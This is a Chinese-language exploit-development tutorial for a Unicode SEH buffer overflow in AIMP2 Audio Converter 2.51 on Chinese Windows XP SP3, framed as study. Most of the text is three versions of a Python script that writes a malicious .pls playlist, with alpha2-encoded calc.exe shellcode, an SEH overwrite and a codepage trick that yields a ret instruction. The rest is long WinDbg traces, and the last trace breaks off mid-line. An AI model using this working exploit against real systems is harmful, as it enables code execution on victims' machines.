标题:对《编写unicode exploit》一文的补充之二
作者:wingdbg
主页:http://wingdbg.blog.com/
《编写Unicode Exploit》原文地址:http://bbs.pediy.com/showthread.php?t=120637
《编写unicode exploit一文的补充之一》(by riusksk(泉哥)):http://bbs.pediy.com/showthread.php?t=121281
一、背景
在学习完泉哥翻译的《Exploit 编写系列教程第七篇:编写Unicode Exploit》之后,又学习了泉哥补充的《编写unicode exploit一文的补充》,在教程中所给的两个例子中,泉哥通过第一个漏洞实例( Xion Audio Player 1.0 build 121) 说明ret(hex: C3)指令在经过Unicode拷贝之后,不会变成C300。(参见https://www.blackhat.com/presentations/win-usa-04/bh-win-04-fx.pdf)
泉哥在补充一文中发现这是由于原作者在实验时采用xp sp3 en版本的系统,unicode codepage / language/regional settings 的不同,直接导致我们在自己的中文 XP SP3机器上转换时,C3无法转换为C300,从而导致溢出payload的失败。
二、目的
笔者认为在中文XP SP3上机器由ASCII转化成UNICODE的结果,并不简简单单是由于unicode codepage / language/regional settings 的不同。字符的转化还跟字符所在字符串有关系。
在此种假设之下,也许我们通过输入不同类型的字符串,会导致转换后的结果有出现C3的可能,从而导致我们跳转到Unicode Shellcode成功。
如果我们实验成功,我们可以进一步探讨ASCII字符(从'\x00'到'\xFF')在XP SP3 cn中文机器上到底是如何转换成为Unicode的。是什么原因直接导致了它和英文系统转换对应的不同。同时,也是对Unicode Exploit的一种补充。
三、实验
实验环境:
XP SP3 pro 中文版
WinDbg 6.12.2.633 X86(http://download.csdn.net/source/2519777)
Immunity Debugger 1.73(www.shandongkv.com/123/ImmunityDebugger_setup1.73.rar)
pvefindaddr插件(www.shandongkv.com/123/pvefindaddr.rar)
漏洞软件:
AIMP2 Audio Converter 2.51 build 330(www.shandongkv.com/123/aimp_2.51.330.zip)
闲话少说,看代码:
#------------------------------------------------------------------------------- # Name: AIMP2 Audio Converter 2.51 build 330 Unicode缓冲区溢出 # Purpose: study unicode stack vulnerability # # Author: wingdbg # # Created: 09-12-2010 # Copyright: (c) wingdbg 2010 # Licence: <wingdbg@gmail.com> #------------------------------------------------------------------------------- #!/usr/bin/env python def main(): header = '[playlist]\nNumberOfEntries=1\n\n' header = header + 'File1=' junk = 'A' * 101 # this make sure that after SEH is executed as commands, EDI+0x500 points to shellcode #calc.exe shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZA" shellcode += "BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA" shellcode += "58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB" shellcode += "AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K" shellcode += "22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL" shellcode += "MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55" shellcode += "Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V" shellcode += "NQKONQ90***Q8OLMKQY7NXK0T5L4M33MKHOKSMND45JB" shellcode += "R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT" shellcode += "NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU" shellcode += "89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM" shellcode += "KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC" shellcode += "QQ2LRCM0LJA" moreJunk = 'A' * (4037 - len(junk + shellcode)) nSEH = '\x61\x62' #---0x00340012 SEH = '\x34\x46' #---0x00460034 X:\Program Files\AIMP2\AIMP2.dll pop ecx - pop ebp - ret preShell = '\x6e' #废指令 ADD BYTE PTR DS:[ESI],CH preShell += '\x57' #push edi preShell += '\x6e' preShell += '\x58' #pop eax preShell += '\x6e' preShell += '\x05\x16\x11' #add eax, 0x011001600 preShell += '\x6e' preShell += '\x2d\x11\x11' # sub eax,0x11001100 preShell += '\x6e' preShell += '\x50' #push eax preShell += '\x6e' preShell += '\xC3' #ret dump ='\x41' * (297- len(preShell)) #---dump that is longer is useless payload = header + junk + shellcode + moreJunk + nSEH + SEH + preShell + dump +'\n' o_file = open('aimp2sploit.pls','w') o_file.write(payload) o_file.close() if __name__ == '__main__': main()
First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=001b5668 ebx=00000000 ecx=001a4220 edx=00000ebf esi=001a421e edi=00130000 eip=00453020 esp=0012dcac ebp=0012dd64 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202 *** WARNING: Unable to verify checksum for C:\Program Files\AIMP2\AIMP2.dll *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\AIMP2\AIMP2.dll - AIMP2!SysutilsWideFormatBuf$qqrpvuipxvuipx14SystemTVarRecxi+0x3c: 00453020 66ab stos word ptr es:[edi] es:0023:00130000=6341 0:000> !exchain 0012fda0: AIMP2!VariantsVarToInteger$qqrrx8TVarData+4fc (00460034) Invalid exception stack at 00620061 0:000> d 0012fda0 0012fda0 61 00 62 00 34 00 46 00-6e 00 57 00 6e 00 58 00 a.b.4.F.n.W.n.X. 0012fdb0 6e 00 05 00 16 00 11 00-6e 00 2d 00 11 00 11 00 n.......n.-..... 0012fdc0 6e 00 50 00 6e 00 81 80-41 00 41 00 41 00 41 00 n.P.n...A.A.A.A. 0012fdd0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 0012fde0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 0012fdf0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 0012fe00 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 0012fe10 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
如果我们任其走下去,通过SEH的pop|pop|ret运行到nSEH,最后想跳转到我们通过Alpha2编码的shellcode是不可能的。看WinDbg调试情况:
0:000> bp 00460034 0:000> g Breakpoint 0 hit eax=00000000 ebx=00000000 ecx=00460034 edx=7c9232bc esi=00000000 edi=00000000 eip=00460034 esp=0012d8dc ebp=0012d8fc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246 AIMP2!VariantsVarToInteger$qqrrx8TVarData+0x4fc: 00460034 59 pop ecx 0:000> t eax=00000000 ebx=00000000 ecx=7c9232a8 edx=7c9232bc esi=00000000 edi=00000000 eip=00460035 esp=0012d8e0 ebp=0012d8fc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246 AIMP2!VariantsVarToInteger$qqrrx8TVarData+0x4fd: 00460035 5d pop ebp 0:000> t eax=00000000 ebx=00000000 ecx=7c9232a8 edx=7c9232bc esi=00000000 edi=00000000 eip=00460036 esp=0012d8e4 ebp=0012d9c4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246 AIMP2!VariantsVarToInteger$qqrrx8TVarData+0x4fe: 00460036 c3 ret 0:000> t eax=00000000 ebx=00000000 ecx=7c9232a8 edx=7c9232bc esi=00000000 edi=00000000 eip=0012fda0 esp=0012d8e8 ebp=0012d9c4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246 0012fda0 61 popad 0:000> t eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d998 edi=0012d9e0 eip=0012fda1 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246 0012fda1 006200 add byte ptr [edx],ah ds:0023:0012d9ac=64 0:000> t eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d998 edi=0012d9e0 eip=0012fda4 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200203 0012fda4 3400 xor al,0 0:000> t eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d998 edi=0012d9e0 eip=0012fda6 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei ng nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200282 0012fda6 46 inc esi 0:000> t eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fda7 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206 0012fda7 006e00 add byte ptr [esi],ch ds:0023:0012d999=b1 0:000> t eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fdaa esp=0012d908 ebp=0012fda0 iopl=0 nv up ei ng nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200282 0012fdaa 57 push edi 0:000> t eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fdab esp=0012d904 ebp=0012fda0 iopl=0 nv up ei ng nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200282 0012fdab 006e00 add byte ptr [esi],ch ds:0023:0012d999=e3 0:000> t eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fdae esp=0012d904 ebp=0012fda0 iopl=0 nv up ei pl nz na po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200203 0012fdae 58 pop eax 0:000> t eax=0012d9e0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fdaf esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200203 0012fdaf 006e00 add byte ptr [esi],ch ds:0023:0012d999=15 0:000> t eax=0012d9e0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fdb2 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206 0012fdb2 0500160011 add eax,offset bass+0x1600 (11001600) 0:000> t eax=1112efe0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fdb7 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202 0012fdb7 006e00 add byte ptr [esi],ch ds:0023:0012d999=47 0:000> t eax=1112efe0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fdba esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202 0012fdba 2d00110011 sub eax,offset bass+0x1100 (11001100) 0:000> t eax=0012dee0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fdbf esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202 0012fdbf 006e00 add byte ptr [esi],ch ds:0023:0012d999=79 0:000> t eax=0012dee0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fdc2 esp=0012d908 ebp=0012fda0 iopl=0 ov up ei ng nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200a82 0012fdc2 50 push eax 0:000> t eax=0012dee0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fdc3 esp=0012d904 ebp=0012fda0 iopl=0 ov up ei ng nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200a82 0012fdc3 006e00 add byte ptr [esi],ch ds:0023:0012d999=ab 0:000> t eax=0012dee0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fdc6 esp=0012d904 ebp=0012fda0 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200286 0012fdc6 81804100410041004100 add dword ptr image00400000+0x10041 (00410041)[eax],offset image00400000+0x10041 (00410041) ds:0023:0053df21=fc858b2a
这时我们自然想按照泉哥在补充一中的方法,不通过跳转,而是通过一系列没有负面影响的指令最终“走”到shellcode。可是读者观察我们的payload代码可以发现,SEH后面允许加的字符长度是有限的(见黄色标记部分)。这就杯具了,只有281个字符可用(如果再多,读者可以测试,直接截断,根本没有拷贝进来)。由于我们shellcode是通过Alpha2编码的,从而保证转化成Unicode后能够正常执行,所以长度不可避免的可能超过这个。(当然,有牛牛真写出来小于281字符我也拜服)
这可怎么办呢,只好把shellcode放在nSEH之前的一堆junk里面(差不多4000个字符长度呢)。可是问题又来了,push eax| ret式的跳转我们是没法用的啊,为啥,因为C3无法正常转换!
这时我们开始想,汇编里面都有哪些可以实现跳转的代码指令呢。我所知道的,如下:
FFE?: jmp e?x
C2???: retn ???
C3: retn
……
看来我们不得不尝试我们事先的假设,通过构造一系列的字符串,查看转换后的字符串中是否有上面的二进制串。如果我们找到了,哪怕它前面有一些不相干的指令,只要没有副作用,我们就成功啦。现在我们编写测试payload的代码:
#------------------------------------------------------------------------------- # Name: AIMP2 Audio Converter 2.51 build 330 Unicode缓冲区溢出 # Purpose: study unicode stack vulnerability # # Author: wingdbg # # Created: 09-12-2010 # Copyright: (c) wingdbg 2010 # Licence: <wingdbg@gmail.com> #------------------------------------------------------------------------------- #!/usr/bin/env python def buildstr(): i = 0x70 j = 0x70 string = chr(i) + chr(j) while i < 0xff: j = 0x70 while j <0xff: j = j + 1 string = string + chr(i) + chr(j) i = i +1 return string def main(): header = '[playlist]\nNumberOfEntries=1\n\n' header = header + 'File1=' junk = 'A' * 101 # this make sure that after SEH is executed as commands, EDI+0x500 points to shellcode #calc.exe shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZA" shellcode += "BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA" shellcode += "58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB" shellcode += "AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K" shellcode += "22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL" shellcode += "MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55" shellcode += "Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V" shellcode += "NQKONQ90***Q8OLMKQY7NXK0T5L4M33MKHOKSMND45JB" shellcode += "R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT" shellcode += "NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU" shellcode += "89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM" shellcode += "KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC" shellcode += "QQ2LRCM0LJA" moreJunk = 'A' * (4037 - len(junk + shellcode)) nSEH = '\x61\x62' #---0x00340012 SEH = '\x34\x46' #---0x00460034 X:\Program Files\AIMP2\AIMP2.dll pop ecx - pop ebp - ret preShell = '\x6e' #废指令 ADD BYTE PTR DS:[ESI],CH preShell += '\x57' #push edi preShell += '\x6e' preShell += '\x58' #pop eax preShell += '\x6e' preShell += '\x05\x16\x11' #add eax, 0x011001600 preShell += '\x6e' preShell += '\x2d\x11\x11' # sub eax,0x11001100 preShell += '\x6e' preShell += '\x50' #push eax preShell += '\x6e' # preShell += '\xC3' #ret # dump ='\x41' * (297- len(preShell)) #---dump that is longer is useless dump0 = buildstr(); dump = dump0[0:282] #接下来可以为[282:282*2]…… payload = header + junk + shellcode + moreJunk + nSEH + SEH + preShell + dump +'\n' o_file = open('aimp2sploit.pls','w') o_file.write(payload) o_file.close() if __name__ == '__main__': main()
稍微解释一下,这个程序无非就是尝试尽可能多的字符串,然后查找有无可能存在跳转指令对应的二进制。基于我们的假设,我们认为转换Unicode不仅仅诸如codepage之类的系统参数有关,也跟特定字符所在的整个字符串有关。而且通过泉哥的补充一我们已经知道,'\x7F'之后转换就开始不规则了,那么我们就拼凑字符串,从'\x70'开始,让其最终成为"\x70\x70\x70\x71\x70\x72...\x70\xFE\x70\xFF\x71\x70\x71\x71\x72...\x71\xFF......\xFF\x70\xFF\x71...\xFF\xFE\xFF\xFF"这样的字符串。我们按照282长度(我们把最后的'C3'去掉了,如黄色部分所示)把它分成若干子串,让其代替dump(如第二个红色部分所示),看其转化,搜索可能存在的跳转指令二进制。最终,我们在字符串区间[562:843]发现转化后出现了我们需要的东西:C3!(payload文件下载:aimp2sploit.rar)
看WinDbg:
(71c.8bc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0015beb0 ebx=00002000 ecx=0000000e edx=0012fdc4 esi=0071006a edi=0000001b eip=770f48a4 esp=0012dd64 ebp=0012dd68 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202 oleaut32!SysFreeString+0x45: 770f48a4 8b0e mov ecx,dword ptr [esi] ds:0023:0071006a=???????? *** WARNING: Unable to verify checksum for C:\Program Files\AIMP2\AIMP2.dll *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\AIMP2\AIMP2.dll - 0:000> !exchain 0012fda0: AIMP2!VariantsVarToInteger$qqrrx8TVarData+4fc (00460034) Invalid exception stack at 00620061 0:000> d 0012fda0 0012fda0 61 00 62 00 34 00 46 00-6e 00 57 00 6e 00 58 00 a.b.4.F.n.W.n.X. 0012fdb0 6e 00 05 00 16 00 11 00-6e 00 2d 00 11 00 11 00 n.......n.-..... 0012fdc0 6e 00 50 00 74 e0 1b 00-d4 9d 6e 9e f4 9e 6b 9f n.P.t.....n...k. 0012fdd0 36 e8 f5 f8 72 00 71 00-72 00 72 00 72 00 73 00 6...r.q.r.r.r.s. 0012fde0 72 00 74 00 72 00 75 00-72 00 76 00 72 00 77 00 r.t.r.u.r.v.r.w. 0012fdf0 72 00 78 00 72 00 79 00-72 00 7a 00 72 00 7b 00 r.x.r.y.r.z.r.{. 0012fe00 72 00 7c 00 72 00 7d 00-72 00 7e 00 72 00 7f 00 r.|.r.}.r.~.r... 0012fe10 72 00 ac 20 72 00 7a 4e-fd 4f f9 50 45 52 79 53 r.. r.zN.O.PERyS 0:000> s 0012fe10 L100 C3 0012fea6 c3 84 46 85 c3 85 32 86-c2 86 66 87 eb 87 66 88 ..F...2...f...f. 0012feaa c3 85 32 86 c2 86 66 87-eb 87 66 88 f7 88 6f 89 ..2...f...f...o.
在不断对构造字符串进行调整(从字符串头部小心翼翼的删除,逐渐靠近转换后的C3)之后,我们最终发现,‘\x72\xcb\x72’会转换成'\x72\x00\xc3\x85\x41\x00'。OK,我们重新修改payload构造代码:
#------------------------------------------------------------------------------- # Name: AIMP2 Audio Converter 2.51 build 330 Unicode缓冲区溢出 final # Purpose: study unicode stack vulnerability # # Author: wingdbg # # Created: 10-12-2010 # Copyright: (c) wingdbg 2010 # Licence: <wingdbg@gmail.com> #------------------------------------------------------------------------------- #!/usr/bin/env python def main(): header = '[playlist]\nNumberOfEntries=1\n\n' header = header + 'File1=' junk = 'A' * 101 # this make sure that after SEH is executed as commands, EDI+0x500 points to shellcode #calc.exe shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZA" shellcode += "BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA" shellcode += "58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB" shellcode += "AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K" shellcode += "22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL" shellcode += "MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55" shellcode += "Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V" shellcode += "NQKONQ90***Q8OLMKQY7NXK0T5L4M33MKHOKSMND45JB" shellcode += "R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT" shellcode += "NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU" shellcode += "89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM" shellcode += "KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC" shellcode += "QQ2LRCM0LJA" moreJunk = 'A' * (4037 - len(junk + shellcode)) nSEH = '\x61\x62' #---0x00340012 SEH = '\x34\x46' #---0x00460034 X:\Program Files\AIMP2\AIMP2.dll pop ecx - pop ebp - ret preShell = '\x6e' #废指令 ADD BYTE PTR DS:[ESI],CH preShell += '\x57' #push edi preShell += '\x6e' preShell += '\x58' #pop eax preShell += '\x6e' preShell += '\x05\x16\x11' #add eax, 0x011001600 preShell += '\x6e' preShell += '\x2d\x11\x11' # sub eax,0x11001100 preShell += '\x6e' preShell += '\x50' #push eax preShell += '\x6e' preShell += '\x72\xcb\x72' #ret 转换成'\x72\x00\xc3\x85\x41\x00' dump ='\x41' * (297- len(preShell)) #---dump that is longer is useless payload = header + junk + shellcode + moreJunk + nSEH + SEH + preShell + dump +'\n' o_file = open('aimp2sploit.pls','w') o_file.write(payload) o_file.close() if __name__ == '__main__': main()
(c74.708): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=001b5668 ebx=00000000 ecx=001a4220 edx=00000ebf esi=001a421e edi=00130000 eip=00453020 esp=0012dcac ebp=0012dd64 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202 *** WARNING: Unable to verify checksum for C:\Program Files\AIMP2\AIMP2.dll *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\AIMP2\AIMP2.dll - AIMP2!SysutilsWideFormatBuf$qqrpvuipxvuipx14SystemTVarRecxi+0x3c: 00453020 66ab stos word ptr es:[edi] es:0023:00130000=6341 0:000> !exchain 0012fda0: AIMP2!VariantsVarToInteger$qqrrx8TVarData+4fc (00460034) Invalid exception stack at 00620061 0:000> d 0012fda0 0012fda0 61 00 62 00 34 00 46 00-6e 00 57 00 6e 00 58 00 a.b.4.F.n.W.n.X. 0012fdb0 6e 00 05 00 16 00 11 00-6e 00 2d 00 11 00 11 00 n.......n.-..... 0012fdc0 6e 00 50 00 6e 00 72 00-c3 85 41 00 41 00 41 00 n.P.n.r...A.A.A. 0012fdd0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 0012fde0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 0012fdf0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 0012fe00 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 0012fe10 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 0:000> bp 00460034 0:000> g Breakpoint 0 hit eax=00000000 ebx=00000000 ecx=00460034 edx=7c9232bc esi=00000000 edi=00000000 eip=00460034 esp=0012d8dc ebp=0012d8fc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246 AIMP2!VariantsVarToInteger$qqrrx8TVarData+0x4fc: 00460034 59 pop ecx 0:000> t Breakpoint 0 hit eax=00000000 ebx=00000000 ecx=00460034 edx=7c9232bc esi=00000000 edi=00000000 eip=00460034 esp=0012d8dc ebp=0012d8fc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246 AIMP2!VariantsVarToInteger$qqrrx8TVarData+0x4fc: 00460034 59 pop ecx 0:000> t eax=00000000 ebx=00000000 ecx=7c9232a8 edx=7c9232bc esi=00000000 edi=00000000 eip=00460035 esp=0012d8e0 ebp=0012d8fc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246 AIMP2!VariantsVarToInteger$qqrrx8TVarData+0x4fd: 00460035 5d pop ebp 0:000> t eax=00000000 ebx=00000000 ecx=7c9232a8 edx=7c9232bc esi=00000000 edi=00000000 eip=00460036 esp=0012d8e4 ebp=0012d9c4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246 AIMP2!VariantsVarToInteger$qqrrx8TVarData+0x4fe: 00460036 c3 ret 0:000> t eax=00000000 ebx=00000000 ecx=7c9232a8 edx=7c9232bc esi=00000000 edi=00000000 eip=0012fda0 esp=0012d8e8 ebp=0012d9c4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246 0012fda0 61 popad 0:000> t eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d998 edi=0012d9e0 eip=0012fda1 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246 0012fda1 006200 add byte ptr [edx],ah ds:0023:0012d9ac=64 0:000> t eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d998 edi=0012d9e0 eip=0012fda4 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200203 0012fda4 3400 xor al,0 0:000> t eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d998 edi=0012d9e0 eip=0012fda6 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei ng nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200282 0012fda6 46 inc esi 0:000> t eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fda7 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206 0012fda7 006e00 add byte ptr [esi],ch ds:0023:0012d999=b1 0:000> t eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fdaa esp=0012d908 ebp=0012fda0 iopl=0 nv up ei ng nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200282 0012fdaa 57 push edi 0:000> t eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fdab esp=0012d904 ebp=0012fda0 iopl=0 nv up ei ng nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200282 0012fdab 006e00 add byte ptr [esi],ch ds:0023:0012d999=e3 0:000> t eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fdae esp=0012d904 ebp=0012fda0 iopl=0 nv up ei pl nz na po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200203 0012fdae 58 pop eax 0:000> t eax=0012d9e0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fdaf esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200203 0012fdaf 006e00 add byte ptr [esi],ch ds:0023:0012d999=15 0:000> t eax=0012d9e0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fdb2 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206 0012fdb2 0500160011 add eax,offset bass+0x1600 (11001600) 0:000> t eax=1112efe0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fdb7 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202 0012fdb7 006e00 add byte ptr [esi],ch ds:0023:0012d999=47 0:000> t eax=1112efe0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fdba esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202 0012fdba 2d00110011 sub eax,offset bass+0x1100 (11001100) 0:000> t eax=0012dee0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fdbf esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202 0012fdbf 006e00 add byte ptr 